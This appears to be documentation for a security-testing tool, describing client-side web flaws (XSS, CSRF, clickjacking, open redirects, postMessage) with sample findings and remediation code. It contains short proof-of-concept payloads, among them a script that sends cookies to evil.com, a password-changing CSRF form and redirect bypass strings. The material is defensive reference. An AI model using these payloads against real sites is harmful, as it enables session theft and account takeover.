> ## Documentation Index
> Fetch the complete documentation index at: https://docs.aiptx.io/llms.txt
> Use this file to discover all available pages before exploring further.

# Client-Side Vulnerabilities

> XSS, CSRF, DOM vulnerabilities, and browser-based attacks

# Client-Side Vulnerabilities

Client-side vulnerabilities target user browsers and can lead to session hijacking, data theft, and malicious actions performed on behalf of users.

## Cross-Site Scripting (XSS)

### Types of XSS

| Type          | Storage  | Delivery     | Risk     |
| ------------- | -------- | ------------ | -------- |
| **Reflected** | None     | URL/Request  | High     |
| **Stored**    | Database | Page content | Critical |
| **DOM-based** | None     | Client-side  | High     |

### Reflected XSS

Occurs when user input is immediately reflected in the response.

```json theme={null}
{
  "title": "Reflected XSS in Search",
  "severity": "high",
  "endpoint": "GET /search?q=<script>alert(1)</script>",
  "context": "HTML body",
  "poc": {
    "payload": "<script>document.location='https://evil.com/?c='+document.cookie</script>",
    "impact": "Cookie theft, session hijacking"
  }
}
```

### Stored XSS

Malicious script stored and served to other users.

```json theme={null}
{
  "title": "Stored XSS in User Comments",
  "severity": "critical",
  "endpoint": "POST /api/comments",
  "description": "HTML not sanitized in comment body",
  "poc": {
    "payload": "<img src=x onerror=alert(document.domain)>",
    "stored_at": "Comment database",
    "triggered": "Any user viewing the comment"
  }
}
```

### DOM-based XSS

Vulnerability exists entirely in client-side code.

```javascript theme={null}
// Vulnerable code
const name = document.location.hash.slice(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

// Exploit
https://example.com/#<img src=x onerror=alert(1)>
```

### XSS Context Analysis

AIPTx identifies XSS context for accurate payloads:

| Context           | Example                      | Payload                             |
| ----------------- | ---------------------------- | ----------------------------------- |
| HTML body         | `<div>USER_INPUT</div>`      | `<script>alert(1)</script>`         |
| HTML attribute    | `<input value="USER_INPUT">` | `" onfocus=alert(1) autofocus="`    |
| JavaScript string | `var x = "USER_INPUT";`      | `";alert(1)//`                      |
| URL parameter     | `<a href="USER_INPUT">`      | `javascript:alert(1)`               |
| CSS               | `<style>USER_INPUT</style>`  | `</style><script>alert(1)</script>` |

## Cross-Site Request Forgery (CSRF)

### CSRF Testing

AIPTx tests state-changing operations for CSRF protection:

```json theme={null}
{
  "title": "CSRF in Password Change",
  "severity": "high",
  "endpoint": "POST /api/user/password",
  "description": "No CSRF token required for password change",
  "poc": {
    "exploit_page": "<form action='https://target.com/api/user/password' method='POST'>\n  <input name='password' value='hacked123'>\n  <input type='submit'>\n</form>",
    "impact": "Account takeover via malicious page"
  }
}
```

### CSRF Protection Analysis

| Protection      | Check                         | Status |
| --------------- | ----------------------------- | ------ |
| CSRF Token      | Token present and validated   | ✅/❌    |
| SameSite Cookie | Cookie has SameSite attribute | ✅/❌    |
| Origin Header   | Origin header validated       | ✅/❌    |
| Referer Check   | Referer header validated      | ✅/❌    |

## Clickjacking

### Testing Methodology

AIPTx checks for:

* Missing `X-Frame-Options` header
* Missing `Content-Security-Policy` frame-ancestors
* Frameable sensitive pages

### Example Finding

```json theme={null}
{
  "title": "Clickjacking on Settings Page",
  "severity": "medium",
  "url": "/settings",
  "description": "Page can be framed by attacker-controlled site",
  "missing_headers": [
    "X-Frame-Options",
    "Content-Security-Policy: frame-ancestors"
  ],
  "poc": "<iframe src='https://target.com/settings' style='opacity:0'></iframe>"
}
```

## Content Security Policy

### CSP Analysis

AIPTx evaluates CSP headers for weaknesses:

| Directive     | Finding           | Risk                |
| ------------- | ----------------- | ------------------- |
| `script-src`  | `'unsafe-inline'` | XSS possible        |
| `script-src`  | `'unsafe-eval'`   | Code injection      |
| `default-src` | `*`               | All sources allowed |
| Missing CSP   | No header         | No protection       |

### Example Finding

```json theme={null}
{
  "title": "Weak Content Security Policy",
  "severity": "medium",
  "header": "Content-Security-Policy",
  "value": "script-src 'self' 'unsafe-inline' https:",
  "issues": [
    "'unsafe-inline' allows inline scripts (XSS risk)",
    "'https:' allows any HTTPS source (CDN hijacking risk)"
  ]
}
```

## Open Redirects

### Testing

```json theme={null}
{
  "title": "Open Redirect via Return URL",
  "severity": "medium",
  "endpoint": "GET /login?returnUrl=https://evil.com",
  "description": "Redirect URL not validated",
  "poc": {
    "legitimate_use": "/login?returnUrl=/dashboard",
    "exploit": "/login?returnUrl=https://phishing.com",
    "impact": "Phishing attacks, credential theft"
  }
}
```

### Bypass Techniques Tested

```
# Basic
https://evil.com

# URL encoding
https%3A%2F%2Fevil.com

# Protocol-relative
//evil.com

# Domain confusion
https://example.com@evil.com
https://evil.com?example.com
https://example.com.evil.com
```

## WebSocket Security

### Testing Areas

* Authentication on WebSocket connections
* Message validation
* Cross-origin WebSocket requests

```json theme={null}
{
  "title": "WebSocket Cross-Origin Access",
  "severity": "high",
  "endpoint": "wss://api.example.com/ws",
  "description": "WebSocket accepts connections from any origin",
  "poc": {
    "attack_origin": "https://evil.com",
    "connection": "Established successfully",
    "impact": "Attacker can send/receive WebSocket messages"
  }
}
```

## PostMessage Vulnerabilities

### Testing Scenarios

```javascript theme={null}
// Vulnerable receiver
window.addEventListener('message', (event) => {
  // No origin check!
  document.getElementById('content').innerHTML = event.data;
});

// Exploit
targetWindow.postMessage('<img src=x onerror=alert(1)>', '*');
```

### Example Finding

```json theme={null}
{
  "title": "PostMessage XSS via Missing Origin Check",
  "severity": "high",
  "description": "postMessage handler doesn't validate origin",
  "vulnerable_code": "No event.origin validation before DOM manipulation",
  "impact": "XSS from any framing page"
}
```

## Client-Side Storage

### Testing Areas

| Storage        | Test                  | Risk               |
| -------------- | --------------------- | ------------------ |
| localStorage   | Sensitive data stored | Data theft via XSS |
| sessionStorage | Tokens stored         | Session hijacking  |
| Cookies        | Missing flags         | Cookie theft       |
| IndexedDB      | Unencrypted PII       | Data exposure      |

### Example Finding

```json theme={null}
{
  "title": "JWT Token Stored in localStorage",
  "severity": "medium",
  "description": "Authentication token accessible via JavaScript",
  "location": "localStorage.getItem('auth_token')",
  "risk": "Token theft via XSS attack",
  "recommendation": "Use httpOnly cookies for token storage"
}
```

## Remediation Guidelines

<AccordionGroup>
  <Accordion title="XSS Prevention">
    ```javascript theme={null}
    // Output encoding
    const escapeHtml = (str) => {
      return str
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
    };

    // Use template literals safely
    element.textContent = userInput; // Safe
    element.innerHTML = escapeHtml(userInput); // Safe

    // React/Vue automatically escape
    <div>{userInput}</div> // Safe in React
    ```
  </Accordion>

  <Accordion title="CSRF Protection">
    ```javascript theme={null}
    // Generate CSRF token
    const csrf = require('csrf');
    const tokens = new csrf();

    app.use((req, res, next) => {
      if (!req.session.csrfSecret) {
        req.session.csrfSecret = tokens.secretSync();
      }
      res.locals.csrfToken = tokens.create(req.session.csrfSecret);
      next();
    });

    // Validate on POST/PUT/DELETE
    app.post('/api/*', (req, res, next) => {
      if (!tokens.verify(req.session.csrfSecret, req.body._csrf)) {
        return res.status(403).json({ error: 'Invalid CSRF token' });
      }
      next();
    });
    ```
  </Accordion>

  <Accordion title="Security Headers">
    ```javascript theme={null}
    // Express security headers
    const helmet = require('helmet');

    app.use(helmet({
      contentSecurityPolicy: {
        directives: {
          defaultSrc: ["'self'"],
          scriptSrc: ["'self'"],
          styleSrc: ["'self'", "'unsafe-inline'"],
          imgSrc: ["'self'", "data:", "https:"],
          connectSrc: ["'self'"],
          frameSrc: ["'none'"],
          objectSrc: ["'none'"]
        }
      },
      xFrameOptions: { action: 'deny' },
      xContentTypeOptions: true,
      referrerPolicy: { policy: 'strict-origin-when-cross-origin' }
    }));
    ```
  </Accordion>
</AccordionGroup>
